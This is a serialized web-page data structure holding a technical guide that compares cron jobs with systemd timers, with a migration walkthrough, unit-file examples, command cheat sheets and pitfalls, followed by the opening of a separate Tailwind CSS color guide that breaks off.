list-timers",[199,298943,298944,298948,298951],{},[216,298945,298946],{},[47,298947,238913],{},[216,298949,298950],{},"Single crontab file",[216,298952,298953],{},"Separate timer and service unit files",[199,298955,298956,298961,298966],{},[216,298957,298958],{},[47,298959,298960],{},"Boot-time Jobs",[216,298962,298963,231379],{},[143,298964,298965],{},"@reboot",[216,298967,298968,231379],{},[143,298969,298970],{},"OnBootSec",[199,298972,298973,298978,298981],{},[216,298974,298975],{},[47,298976,298977],{},"Resource Limits",[216,298979,298980],{},"Manual ulimit\u002Fniceness",[216,298982,298983],{},"Built-in cgroup integration",[11,298985,298987],{"id":298986},"when-to-use-cron","When to Use Cron",[16,298989,298990],{},"Cron remains the better choice in these scenarios:",[33,298992,298994],{"id":298993},"_1-simple-frequent-tasks","1. Simple, Frequent Tasks",[16,298996,298997],{},"If you need a quick one-liner that runs every minute or hour, cron's syntax is faster to write:",[135,298999,299001],{"className":6951,"code":299000,"language":6953,"meta":141,"style":141},"*\u002F5 * * * * \u002Fpath\u002Fto\u002Fsimple-script.sh\n",[143,299002,299003],{"__ignoreMap":141},[1560,299004,299005,299007,299010,299012,299014,299016,299018],{"class":1562,"line":1563},[1560,299006,8069],{"class":1669},[1560,299008,299009],{"class":1570},"\u002F5 ",[1560,299011,8069],{"class":1669},[1560,299013,8064],{"class":1669},[1560,299015,8064],{"class":1669},[1560,299017,8064],{"class":1669},[1560,299019,299020],{"class":1570}," \u002Fpath\u002Fto\u002Fsimple-script.sh\n",[33,299022,299024],{"id":299023},"_2-portability-across-systems","2. Portability Across Systems",[16,299026,299027],{},"Cron works on virtually every Unix-like system—from embedded Linux to macOS to BSD. systemd timers only work on systemd-based systems.",[33,299029,299031],{"id":299030},"_3-quick-user-level-scheduling","3. Quick User-level Scheduling",[16,299033,299034,299035,299037],{},"For personal automation scripts, ",[143,299036,270928],{}," is faster than creating unit files:",[135,299039,299041],{"className":6951,"code":299040,"language":6953,"meta":141,"style":141},"crontab -e\n# Add: 0 9 * * 1-5 \u002Fhome\u002Fuser\u002Fmorning-reminder.sh\n",[143,299042,299043,299051],{"__ignoreMap":141},[1560,299044,299045,299048],{"class":1562,"line":1563},[1560,299046,299047],{"class":1566},"crontab",[1560,299049,299050],{"class":1576}," -e\n",[1560,299052,299053],{"class":1562,"line":337},[1560,299054,299055],{"class":1649},"# Add: 0 9 * * 1-5 \u002Fhome\u002Fuser\u002Fmorning-reminder.sh\n",[33,299057,299059],{"id":299058},"_4-legacy-system-maintenance","4. Legacy System Maintenance",[16,299061,299062],{},"If you're maintaining older systems or writing scripts that must work on non-systemd distributions, cron is the safe choice.",[11,299064,299066],{"id":299065},"when-to-use-systemd-timers","When to Use systemd Timers",[16,299068,299069],{},"systemd timers excel in these situations:",[33,299071,299073],{"id":299072},"_1-tasks-that-must-survive-system-sleephibernation","1. Tasks That Must Survive System Sleep\u002FHibernation",[16,299075,299076],{},"systemd timers can be configured as persistent, meaning if the system was off when the job should have run, it will execute when the system wakes up:",[135,299078,299080],{"className":37446,"code":299079,"language":37448,"meta":141,"style":141},"[Timer]\nOnCalendar=daily\nPersistent=true\n",[143,299081,299082,299087,299092],{"__ignoreMap":141},[1560,299083,299084],{"class":1562,"line":1563},[1560,299085,299086],{},"[Timer]\n",[1560,299088,299089],{"class":1562,"line":337},[1560,299090,299091],{},"OnCalendar=daily\n",[1560,299093,299094],{"class":1562,"line":343},[1560,299095,299096],{},"Persistent=true\n",[33,299098,299100],{"id":299099},"_2-jobs-requiring-dependencies","2. Jobs Requiring Dependencies",[16,299102,299103],{},"Need to ensure the network is up, or a filesystem is mounted? systemd handles this natively:",[135,299105,299107],{"className":37446,"code":299106,"language":37448,"meta":141,"style":141},"[Unit]\nAfter=network-online.target\nWants=network-online.target\n\n[Timer]\nOnCalendar=hourly\n",[143,299108,299109,299114,299119,299124,299128,299132],{"__ignoreMap":141},[1560,299110,299111],{"class":1562,"line":1563},[1560,299112,299113],{},"[Unit]\n",[1560,299115,299116],{"class":1562,"line":337},[1560,299117,299118],{},"After=network-online.target\n",[1560,299120,299121],{"class":1562,"line":343},[1560,299122,299123],{},"Wants=network-online.target\n",[1560,299125,299126],{"class":1562,"line":365},[1560,299127,1702],{"emptyLinePlaceholder":363},[1560,299129,299130],{"class":1562,"line":889},[1560,299131,299086],{},[1560,299133,299134],{"class":1562,"line":1710},[1560,299135,299136],{},"OnCalendar=hourly\n",[33,299138,299140],{"id":299139},"_3-integrated-logging-and-monitoring","3. Integrated Logging and Monitoring",[16,299142,299143],{},"systemd timers automatically log to the journal, making debugging easier:",[135,299145,299147],{"className":6951,"code":299146,"language":6953,"meta":141,"style":141},"# View logs for a specific timer\njournalctl -u my-service.timer -f\n\n# View logs for the associated service\njournalctl -u my-service.service\n",[143,299148,299149,299154,299166,299170,299175],{"__ignoreMap":141},[1560,299150,299151],{"class":1562,"line":1563},[1560,299152,299153],{"class":1649},"# View logs for a specific timer\n",[1560,299155,299156,299158,299160,299163],{"class":1562,"line":337},[1560,299157,270799],{"class":1566},[1560,299159,270802],{"class":1576},[1560,299161,299162],{"class":5634}," my-service.timer",[1560,299164,299165],{"class":1576}," -f\n",[1560,299167,299168],{"class":1562,"line":343},[1560,299169,1702],{"emptyLinePlaceholder":363},[1560,299171,299172],{"class":1562,"line":365},[1560,299173,299174],{"class":1649},"# View logs for the associated service\n",[1560,299176,299177,299179,299181],{"class":1562,"line":889},[1560,299178,270799],{"class":1566},[1560,299180,270802],{"class":1576},[1560,299182,299183],{"class":5634}," my-service.service\n",[33,299185,299187],{"id":299186},"_4-randomized-execution-prevent-thundering-herd","4. Randomized Execution (Prevent Thundering Herd)",[16,299189,299190],{},"When you have many servers running the same job, use randomized delays to spread the load:",[135,299192,299194],{"className":37446,"code":299193,"language":37448,"meta":141,"style":141},"[Timer]\nOnCalendar=hourly\nRandomizedDelaySec=1800  # Up to 30 minutes random delay\n",[143,299195,299196,299200,299204],{"__ignoreMap":141},[1560,299197,299198],{"class":1562,"line":1563},[1560,299199,299086],{},[1560,299201,299202],{"class":1562,"line":337},[1560,299203,299136],{},[1560,299205,299206],{"class":1562,"line":343},[1560,299207,299208],{},"RandomizedDelaySec=1800  # Up to 30 minutes random delay\n",[33,299210,299212],{"id":299211},"_5-resource-constrained-environments","5. Resource-constrained Environments",[16,299214,299215],{},"Limit CPU, memory, or I\u002FO for the scheduled task:",[135,299217,299219],{"className":37446,"code":299218,"language":37448,"meta":141,"style":141},"[Service]\nExecStart=\u002Fpath\u002Fto\u002Fresource-heavy-script.sh\nMemoryMax=512M\nCPUQuota=50%\nIOWeight=100\n",[143,299220,299221,299226,299231,299236,299241],{"__ignoreMap":141},[1560,299222,299223],{"class":1562,"line":1563},[1560,299224,299225],{},"[Service]\n",[1560,299227,299228],{"class":1562,"line":337},[1560,299229,299230],{},"ExecStart=\u002Fpath\u002Fto\u002Fresource-heavy-script.sh\n",[1560,299232,299233],{"class":1562,"line":343},[1560,299234,299235],{},"MemoryMax=512M\n",[1560,299237,299238],{"class":1562,"line":365},[1560,299239,299240],{},"CPUQuota=50%\n",[1560,299242,299243],{"class":1562,"line":889},[1560,299244,299245],{},"IOWeight=100\n",[11,299247,299249],{"id":299248},"migration-guide-from-cron-to-systemd-timers","Migration Guide: From Cron to systemd Timers",[33,299251,299253],{"id":299252},"step-1-understand-the-mapping","Step 1: Understand the Mapping",[193,299255,299256,299265],{},[196,299257,299258],{},[199,299259,299260,299262],{},[202,299261,265411],{},[202,299263,299264],{},"systemd Timer Equivalent",[211,299266,299267,299278,299292,299306,299317],{},[199,299268,299269,299273],{},[216,299270,299271],{},[143,299272,265470],{},[216,299274,299275],{},[143,299276,299277],{},"OnCalendar=hourly",[199,299279,299280,299284],{},[216,299281,299282],{},[143,299283,265516],{},[216,299285,299286,1531,299289],{},[143,299287,299288],{},"OnCalendar=daily",[143,299290,299291],{},"OnCalendar=*-*-* 00:00:00",[199,299293,299294,299298],{},[216,299295,299296],{},[143,299297,265612],{},[216,299299,299300,1531,299303],{},[143,299301,299302],{},"OnCalendar=weekly",[143,299304,299305],{},"OnCalendar=Sun *-*-* 00:00:00",[199,299307,299308,299312],{},[216,299309,299310],{},[143,299311,1172],{},[216,299313,299314],{},[143,299315,299316],{},"OnCalendar=*:0\u002F15",[199,299318,299319,299324],{},[216,299320,299321],{},[143,299322,299323],{},"0 9 15 * *",[216,299325,299326],{},[143,299327,299328],{},"OnCalendar=*-*-15 09:00:00",[33,299330,299332],{"id":299331},"step-2-create-the-service-unit","Step 2: Create the Service Unit",[16,299334,299335],{},"For a cron job like:",[135,299337,299339],{"className":6951,"code":299338,"language":6953,"meta":141,"style":141},"0 2 * * * \u002Fhome\u002Fuser\u002Fbackup.sh --full\n",[143,299340,299341],{"__ignoreMap":141},[1560,299342,299343,299345,299347,299349,299351,299353,299355],{"class":1562,"line":1563},[1560,299344,5285],{"class":1566},[1560,299346,9426],{"class":1576},[1560,299348,8064],{"class":1576},[1560,299350,8064],{"class":1576},[1560,299352,8064],{"class":1576},[1560,299354,270148],{"class":5634},[1560,299356,299357],{"class":1576}," --full\n",[16,299359,299360,299361,8037],{},"Create ",[143,299362,299363],{},"\u002Fetc\u002Fsystemd\u002Fsystem\u002Fbackup.service",[135,299365,299367],{"className":37446,"code":299366,"language":37448,"meta":141,"style":141},"[Unit]\nDescription=Full system backup\nDocumentation=man:backup(1)\n\n[Service]\nType=oneshot\nExecStart=\u002Fhome\u002Fuser\u002Fbackup.sh --full\nUser=backup-user\nGroup=backup-group\n\n# Optional: Resource limits\nIOSchedulingClass=best-effort\nIOSchedulingPriority=7\n",[143,299368,299369,299373,299378,299383,299387,299391,299396,299401,299406,299411,299415,299420,299425],{"__ignoreMap":141},[1560,299370,299371],{"class":1562,"line":1563},[1560,299372,299113],{},[1560,299374,299375],{"class":1562,"line":337},[1560,299376,299377],{},"Description=Full system backup\n",[1560,299379,299380],{"class":1562,"line":343},[1560,299381,299382],{},"Documentation=man:backup(1)\n",[1560,299384,299385],{"class":1562,"line":365},[1560,299386,1702],{"emptyLinePlaceholder":363},[1560,299388,299389],{"class":1562,"line":889},[1560,299390,299225],{},[1560,299392,299393],{"class":1562,"line":1710},[1560,299394,299395],{},"Type=oneshot\n",[1560,299397,299398],{"class":1562,"line":1717},[1560,299399,299400],{},"ExecStart=\u002Fhome\u002Fuser\u002Fbackup.sh --full\n",[1560,299402,299403],{"class":1562,"line":1747},[1560,299404,299405],{},"User=backup-user\n",[1560,299407,299408],{"class":1562,"line":2507},[1560,299409,299410],{},"Group=backup-group\n",[1560,299412,299413],{"class":1562,"line":2524},[1560,299414,1702],{"emptyLinePlaceholder":363},[1560,299416,299417],{"class":1562,"line":2529},[1560,299418,299419],{},"# Optional: Resource limits\n",[1560,299421,299422],{"class":1562,"line":2534},[1560,299423,299424],{},"IOSchedulingClass=best-effort\n",[1560,299426,299427],{"class":1562,"line":2542},[1560,299428,299429],{},"IOSchedulingPriority=7\n",[33,299431,299433],{"id":299432},"step-3-create-the-timer-unit","Step 3: Create the Timer Unit",[16,299435,299360,299436,8037],{},[143,299437,299438],{},"\u002Fetc\u002Fsystemd\u002Fsystem\u002Fbackup.timer",[135,299440,299442],{"className":37446,"code":299441,"language":37448,"meta":141,"style":141},"[Unit]\nDescription=Run backup daily at 2 AM\nDocumentation=man:backup(1)\n\n[Timer]\nOnCalendar=*-*-* 02:00:00\nPersistent=true\nRandomizedDelaySec=300  # Up to 5 minutes random delay\n\n[Install]\nWantedBy=timers.target\n",[143,299443,299444,299448,299453,299457,299461,299465,299470,299474,299479,299483,299488],{"__ignoreMap":141},[1560,299445,299446],{"class":1562,"line":1563},[1560,299447,299113],{},[1560,299449,299450],{"class":1562,"line":337},[1560,299451,299452],{},"Description=Run backup daily at 2 AM\n",[1560,299454,299455],{"class":1562,"line":343},[1560,299456,299382],{},[1560,299458,299459],{"class":1562,"line":365},[1560,299460,1702],{"emptyLinePlaceholder":363},[1560,299462,299463],{"class":1562,"line":889},[1560,299464,299086],{},[1560,299466,299467],{"class":1562,"line":1710},[1560,299468,299469],{},"OnCalendar=*-*-* 02:00:00\n",[1560,299471,299472],{"class":1562,"line":1717},[1560,299473,299096],{},[1560,299475,299476],{"class":1562,"line":1747},[1560,299477,299478],{},"RandomizedDelaySec=300  # Up to 5 minutes random delay\n",[1560,299480,299481],{"class":1562,"line":2507},[1560,299482,1702],{"emptyLinePlaceholder":363},[1560,299484,299485],{"class":1562,"line":2524},[1560,299486,299487],{},"[Install]\n",[1560,299489,299490],{"class":1562,"line":2529},[1560,299491,299492],{},"WantedBy=timers.target\n",[33,299494,299496],{"id":299495},"step-4-enable-and-start","Step 4: Enable and Start",[135,299498,299500],{"className":6951,"code":299499,"language":6953,"meta":141,"style":141},"# Reload systemd to recognize new units\nsudo systemctl daemon-reload\n\n# Enable the timer (starts on boot)\nsudo systemctl enable backup.timer\n\n# Start the timer (starts now)\nsudo systemctl start backup.timer\n\n# Verify it's scheduled\nsystemctl list-timers backup.timer\n",[143,299501,299502,299507,299517,299521,299526,299538,299542,299547,299557,299561,299566],{"__ignoreMap":141},[1560,299503,299504],{"class":1562,"line":1563},[1560,299505,299506],{"class":1649},"# Reload systemd to recognize new units\n",[1560,299508,299509,299511,299514],{"class":1562,"line":337},[1560,299510,27025],{"class":1566},[1560,299512,299513],{"class":5634}," systemctl",[1560,299515,299516],{"class":5634}," daemon-reload\n",[1560,299518,299519],{"class":1562,"line":343},[1560,299520,1702],{"emptyLinePlaceholder":363},[1560,299522,299523],{"class":1562,"line":365},[1560,299524,299525],{"class":1649},"# Enable the timer (starts on boot)\n",[1560,299527,299528,299530,299532,299535],{"class":1562,"line":889},[1560,299529,27025],{"class":1566},[1560,299531,299513],{"class":5634},[1560,299533,299534],{"class":5634}," enable",[1560,299536,299537],{"class":5634}," backup.timer\n",[1560,299539,299540],{"class":1562,"line":1710},[1560,299541,1702],{"emptyLinePlaceholder":363},[1560,299543,299544],{"class":1562,"line":1717},[1560,299545,299546],{"class":1649},"# Start the timer (starts now)\n",[1560,299548,299549,299551,299553,299555],{"class":1562,"line":1747},[1560,299550,27025],{"class":1566},[1560,299552,299513],{"class":5634},[1560,299554,99196],{"class":5634},[1560,299556,299537],{"class":5634},[1560,299558,299559],{"class":1562,"line":2507},[1560,299560,1702],{"emptyLinePlaceholder":363},[1560,299562,299563],{"class":1562,"line":2524},[1560,299564,299565],{"class":1649},"# Verify it's scheduled\n",[1560,299567,299568,299570,299573],{"class":1562,"line":2529},[1560,299569,270735],{"class":1566},[1560,299571,299572],{"class":5634}," list-timers",[1560,299574,299537],{"class":5634},[33,299576,299578],{"id":299577},"step-5-monitor-and-debug","Step 5: Monitor and Debug",[135,299580,299582],{"className":6951,"code":299581,"language":6953,"meta":141,"style":141},"# Check timer status\nsystemctl status backup.timer\n\n# List all active timers\nsystemctl list-timers --all\n\n# View next scheduled run\nsystemctl list-timers backup.timer --no-pager\n\n# Check service logs after it runs\njournalctl -u backup.service -n 50\n",[143,299583,299584,299589,299597,299601,299606,299615,299619,299624,299636,299640,299645],{"__ignoreMap":141},[1560,299585,299586],{"class":1562,"line":1563},[1560,299587,299588],{"class":1649},"# Check timer status\n",[1560,299590,299591,299593,299595],{"class":1562,"line":337},[1560,299592,270735],{"class":1566},[1560,299594,270738],{"class":5634},[1560,299596,299537],{"class":5634},[1560,299598,299599],{"class":1562,"line":343},[1560,299600,1702],{"emptyLinePlaceholder":363},[1560,299602,299603],{"class":1562,"line":365},[1560,299604,299605],{"class":1649},"# List all active timers\n",[1560,299607,299608,299610,299612],{"class":1562,"line":889},[1560,299609,270735],{"class":1566},[1560,299611,299572],{"class":5634},[1560,299613,299614],{"class":1576}," --all\n",[1560,299616,299617],{"class":1562,"line":1710},[1560,299618,1702],{"emptyLinePlaceholder":363},[1560,299620,299621],{"class":1562,"line":1717},[1560,299622,299623],{"class":1649},"# View next scheduled run\n",[1560,299625,299626,299628,299630,299633],{"class":1562,"line":1747},[1560,299627,270735],{"class":1566},[1560,299629,299572],{"class":5634},[1560,299631,299632],{"class":5634}," backup.timer",[1560,299634,299635],{"class":1576}," --no-pager\n",[1560,299637,299638],{"class":1562,"line":2507},[1560,299639,1702],{"emptyLinePlaceholder":363},[1560,299641,299642],{"class":1562,"line":2524},[1560,299643,299644],{"class":1649},"# Check service logs after it runs\n",[1560,299646,299647,299649,299651,299654,299656],{"class":1562,"line":2529},[1560,299648,270799],{"class":1566},[1560,299650,270802],{"class":1576},[1560,299652,299653],{"class":5634}," backup.service",[1560,299655,24281],{"class":1576},[1560,299657,100202],{"class":1576},[11,299659,299661],{"id":299660},"advanced-systemd-timer-features","Advanced systemd Timer Features",[33,299663,299665],{"id":299664},"calendar-expressions","Calendar Expressions",[16,299667,299668],{},"systemd supports rich calendar expressions:",[135,299670,299672],{"className":37446,"code":299671,"language":37448,"meta":141,"style":141},"# Every 15 minutes\nOnCalendar=*:0\u002F15\n\n# First day of every month at 6 AM\nOnCalendar=*-*-01 06:00:00\n\n# Every Monday and Friday at 9 AM\nOnCalendar=Mon,Fri *-*-* 09:00:00\n\n# Last day of the month\nOnCalendar=*-*~01 23:59:00\n",[143,299673,299674,299679,299684,299688,299693,299698,299702,299707,299712,299716,299721],{"__ignoreMap":141},[1560,299675,299676],{"class":1562,"line":1563},[1560,299677,299678],{},"# Every 15 minutes\n",[1560,299680,299681],{"class":1562,"line":337},[1560,299682,299683],{},"OnCalendar=*:0\u002F15\n",[1560,299685,299686],{"class":1562,"line":343},[1560,299687,1702],{"emptyLinePlaceholder":363},[1560,299689,299690],{"class":1562,"line":365},[1560,299691,299692],{},"# First day of every month at 6 AM\n",[1560,299694,299695],{"class":1562,"line":889},[1560,299696,299697],{},"OnCalendar=*-*-01 06:00:00\n",[1560,299699,299700],{"class":1562,"line":1710},[1560,299701,1702],{"emptyLinePlaceholder":363},[1560,299703,299704],{"class":1562,"line":1717},[1560,299705,299706],{},"# Every Monday and Friday at 9 AM\n",[1560,299708,299709],{"class":1562,"line":1747},[1560,299710,299711],{},"OnCalendar=Mon,Fri *-*-* 09:00:00\n",[1560,299713,299714],{"class":1562,"line":2507},[1560,299715,1702],{"emptyLinePlaceholder":363},[1560,299717,299718],{"class":1562,"line":2524},[1560,299719,299720],{},"# Last day of the month\n",[1560,299722,299723],{"class":1562,"line":2529},[1560,299724,299725],{},"OnCalendar=*-*~01 23:59:00\n",[33,299727,299729],{"id":299728},"multiple-trigger-conditions","Multiple Trigger Conditions",[16,299731,299732],{},"A timer can have multiple triggers:",[135,299734,299736],{"className":37446,"code":299735,"language":37448,"meta":141,"style":141},"[Timer]\nOnBootSec=10min        # 10 minutes after boot\nOnCalendar=daily       # Then daily\nOnUnitActiveSec=1h     # Also every hour after service activates\n",[143,299737,299738,299742,299747,299752],{"__ignoreMap":141},[1560,299739,299740],{"class":1562,"line":1563},[1560,299741,299086],{},[1560,299743,299744],{"class":1562,"line":337},[1560,299745,299746],{},"OnBootSec=10min        # 10 minutes after boot\n",[1560,299748,299749],{"class":1562,"line":343},[1560,299750,299751],{},"OnCalendar=daily       # Then daily\n",[1560,299753,299754],{"class":1562,"line":365},[1560,299755,299756],{},"OnUnitActiveSec=1h     # Also every hour after service activates\n",[33,299758,299760],{"id":299759},"wake-system-from-suspend","Wake System from Suspend",[135,299762,299764],{"className":37446,"code":299763,"language":37448,"meta":141,"style":141},"[Timer]\nOnCalendar=08:00\nWakeSystem=true  # Wake the system from suspend if supported\n",[143,299765,299766,299770,299775],{"__ignoreMap":141},[1560,299767,299768],{"class":1562,"line":1563},[1560,299769,299086],{},[1560,299771,299772],{"class":1562,"line":337},[1560,299773,299774],{},"OnCalendar=08:00\n",[1560,299776,299777],{"class":1562,"line":343},[1560,299778,299779],{},"WakeSystem=true  # Wake the system from suspend if supported\n",[11,299781,66432],{"id":66431},[135,299783,299786],{"className":299784,"code":299785,"language":140},[138],"Is the task simple and portable?\n├─ Yes → Use Cron\n└─ No → Does it need to survive system sleep?\n    ├─ Yes → Use systemd Timer\n    └─ No → Does it need dependencies (network, mounts)?\n        ├─ Yes → Use systemd Timer\n        └─ No → Do you want integrated logging?\n            ├─ Yes → Use systemd Timer\n            └─ No → Use Cron\n",[143,299787,299785],{"__ignoreMap":141},[11,299789,10393],{"id":10392},[33,299791,299793],{"id":299792},"cron-pitfalls","Cron Pitfalls",[41,299795,299796,299802,299808],{},[44,299797,299798,299801],{},[47,299799,299800],{},"Silent failures",": No built-in logging; must redirect output manually",[44,299803,299804,299807],{},[47,299805,299806],{},"Environment differences",": Cron runs with minimal PATH",[44,299809,299810,299813],{},[47,299811,299812],{},"Missed jobs",": If system is off, the job doesn't run",[33,299815,299817],{"id":299816},"systemd-timer-pitfalls","systemd Timer Pitfalls",[41,299819,299820,299832,299838],{},[44,299821,299822,299825,299826,1856,299829,151352],{},[47,299823,299824],{},"More files to manage",": Need both ",[143,299827,299828],{},".service",[143,299830,299831],{},".timer",[44,299833,299834,299837],{},[47,299835,299836],{},"Steeper learning curve",": Unit file syntax is more complex than crontab",[44,299839,299840,299843],{},[47,299841,299842],{},"systemd dependency",": Only works on systemd-based systems",[11,299845,1124],{"id":1123},[33,299847,265887],{"id":299848},"cron-cheat-sheet",[135,299850,299852],{"className":6951,"code":299851,"language":6953,"meta":141,"style":141},"# Edit user crontab\ncrontab -e\n\n# List cron jobs\ncrontab -l\n\n# System-wide cron\ncat \u002Fetc\u002Fcrontab\nls \u002Fetc\u002Fcron.d\u002F\n",[143,299853,299854,299859,299865,299869,299874,299881,299885,299890,299897],{"__ignoreMap":141},[1560,299855,299856],{"class":1562,"line":1563},[1560,299857,299858],{"class":1649},"# Edit user crontab\n",[1560,299860,299861,299863],{"class":1562,"line":337},[1560,299862,299047],{"class":1566},[1560,299864,299050],{"class":1576},[1560,299866,299867],{"class":1562,"line":343},[1560,299868,1702],{"emptyLinePlaceholder":363},[1560,299870,299871],{"class":1562,"line":365},[1560,299872,299873],{"class":1649},"# List cron jobs\n",[1560,299875,299876,299878],{"class":1562,"line":889},[1560,299877,299047],{"class":1566},[1560,299879,299880],{"class":1576}," -l\n",[1560,299882,299883],{"class":1562,"line":1710},[1560,299884,1702],{"emptyLinePlaceholder":363},[1560,299886,299887],{"class":1562,"line":1717},[1560,299888,299889],{"class":1649},"# System-wide cron\n",[1560,299891,299892,299894],{"class":1562,"line":1747},[1560,299893,8997],{"class":1566},[1560,299895,299896],{"class":5634}," \u002Fetc\u002Fcrontab\n",[1560,299898,299899,299901],{"class":1562,"line":2507},[1560,299900,8991],{"class":1566},[1560,299902,299903],{"class":5634}," \u002Fetc\u002Fcron.d\u002F\n",[33,299905,299907],{"id":299906},"systemd-timer-cheat-sheet","systemd Timer Cheat Sheet",[135,299909,299911],{"className":6951,"code":299910,"language":6953,"meta":141,"style":141},"# List active timers\nsystemctl list-timers\n\n# Start\u002Fstop a timer\nsystemctl start backup.timer\nsystemctl stop backup.timer\n\n# Enable\u002Fdisable (boot persistence)\nsystemctl enable backup.timer\nsystemctl disable backup.timer\n\n# View logs\njournalctl -u backup.service\njournalctl -u backup.timer\n",[143,299912,299913,299918,299925,299929,299934,299942,299951,299955,299960,299968,299977,299981,299986,299995],{"__ignoreMap":141},[1560,299914,299915],{"class":1562,"line":1563},[1560,299916,299917],{"class":1649},"# List active timers\n",[1560,299919,299920,299922],{"class":1562,"line":337},[1560,299921,270735],{"class":1566},[1560,299923,299924],{"class":5634}," list-timers\n",[1560,299926,299927],{"class":1562,"line":343},[1560,299928,1702],{"emptyLinePlaceholder":363},[1560,299930,299931],{"class":1562,"line":365},[1560,299932,299933],{"class":1649},"# Start\u002Fstop a timer\n",[1560,299935,299936,299938,299940],{"class":1562,"line":889},[1560,299937,270735],{"class":1566},[1560,299939,99196],{"class":5634},[1560,299941,299537],{"class":5634},[1560,299943,299944,299946,299949],{"class":1562,"line":1710},[1560,299945,270735],{"class":1566},[1560,299947,299948],{"class":5634}," stop",[1560,299950,299537],{"class":5634},[1560,299952,299953],{"class":1562,"line":1717},[1560,299954,1702],{"emptyLinePlaceholder":363},[1560,299956,299957],{"class":1562,"line":1747},[1560,299958,299959],{"class":1649},"# Enable\u002Fdisable (boot persistence)\n",[1560,299961,299962,299964,299966],{"class":1562,"line":2507},[1560,299963,270735],{"class":1566},[1560,299965,299534],{"class":5634},[1560,299967,299537],{"class":5634},[1560,299969,299970,299972,299975],{"class":1562,"line":2524},[1560,299971,270735],{"class":1566},[1560,299973,299974],{"class":5634}," disable",[1560,299976,299537],{"class":5634},[1560,299978,299979],{"class":1562,"line":2529},[1560,299980,1702],{"emptyLinePlaceholder":363},[1560,299982,299983],{"class":1562,"line":2534},[1560,299984,299985],{"class":1649},"# View logs\n",[1560,299987,299988,299990,299992],{"class":1562,"line":2542},[1560,299989,270799],{"class":1566},[1560,299991,270802],{"class":1576},[1560,299993,299994],{"class":5634}," backup.service\n",[1560,299996,299997,299999,300001],{"class":1562,"line":2558},[1560,299998,270799],{"class":1566},[1560,300000,270802],{"class":1576},[1560,300002,299537],{"class":5634},[11,300004,257800],{"id":257799},[41,300006,300007],{},[44,300008,300009,300011],{},[98,300010,986],{"href":985}," - Decode and validate cron expressions",[2043,300013,300014],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":300016},[300017,300018,300019,300025,300032,300039,300044,300045,300049,300053],{"id":256641,"depth":337,"text":2776},{"id":50060,"depth":337,"text":50061},{"id":298986,"depth":337,"text":298987,"children":300020},[300021,300022,300023,300024],{"id":298993,"depth":343,"text":298994},{"id":299023,"depth":343,"text":299024},{"id":299030,"depth":343,"text":299031},{"id":299058,"depth":343,"text":299059},{"id":299065,"depth":337,"text":299066,"children":300026},[300027,300028,300029,300030,300031],{"id":299072,"depth":343,"text":299073},{"id":299099,"depth":343,"text":299100},{"id":299139,"depth":343,"text":299140},{"id":299186,"depth":343,"text":299187},{"id":299211,"depth":343,"text":299212},{"id":299248,"depth":337,"text":299249,"children":300033},[300034,300035,300036,300037,300038],{"id":299252,"depth":343,"text":299253},{"id":299331,"depth":343,"text":299332},{"id":299432,"depth":343,"text":299433},{"id":299495,"depth":343,"text":299496},{"id":299577,"depth":343,"text":299578},{"id":299660,"depth":337,"text":299661,"children":300040},[300041,300042,300043],{"id":299664,"depth":343,"text":299665},{"id":299728,"depth":343,"text":299729},{"id":299759,"depth":343,"text":299760},{"id":66431,"depth":337,"text":66432},{"id":10392,"depth":337,"text":10393,"children":300046},[300047,300048],{"id":299792,"depth":343,"text":299793},{"id":299816,"depth":343,"text":299817},{"id":1123,"depth":337,"text":1124,"children":300050},[300051,300052],{"id":299848,"depth":343,"text":265887},{"id":299906,"depth":343,"text":299907},{"id":257799,"depth":337,"text":257800},"Compare systemd timers and cron jobs. Learn the differences in reliability, logging, dependencies, and random delays. Migration guide included.",{"immutable":363},{"title":298819,"description":300054},"guides\u002Fsystemd-timers-vs-cron","_RoKlFmKXFecZME56ZUKmtp7mSoa_kKN75_nfMNZJoo",{"id":300060,"title":300061,"body":300062,"date":257855,"description":302533,"extension":361,"meta":302534,"navigation":363,"path":302535,"readingTime":2507,"seo":302536,"stem":302537,"__hash__":302538},"guides\u002Fguides\u002Ftailwind-color-palette.md","Tailwind CSS Color System: Customizing and Extending Palettes",{"type":8,"value":300063,"toc":302507},[300064,300068,300071,300143,300213,300217,300220,300337,300341,300344,300376,300379,300383,300390,300572,300576,300579,300585,300640,300646,300689,300693,300696,300700,300713,300717,300723,301266,301270,301273,301326,301330,301333,301516,301519,301815,301823,301827,301830,301834,301931,301934,301967,301971,302082,302086,302195,302234,302236,302240,302356,302360,302444,302448,302487,302489,302504],[11,300065,300067],{"id":300066},"understanding-tailwinds-default-color-system","Understanding Tailwind's Default Color System",[16,300069,300070],{},"Tailwind CSS provides a comprehensive, thoughtfully designed color system out of the box. Unlike many frameworks that offer a handful of generic colors, Tailwind ships with a complete color palette containing multiple shades for each hue, carefully calibrated for both light and dark themes.",[16,300072,300073,300074,1459,300077,1459,300080,1459,300083,1459,300086,1459,300089,1459,300091,1459,300094,1459,300097,1459,300100,1459,300103,1459,300105,1459,300108,1459,300111,1459,300113,1459,300116,1459,300118,1459,300121,1459,300124,1459,300127,1459,300130,1466,300133,300136,300137,300139,300140,300142],{},"The default color palette includes ten core colors: 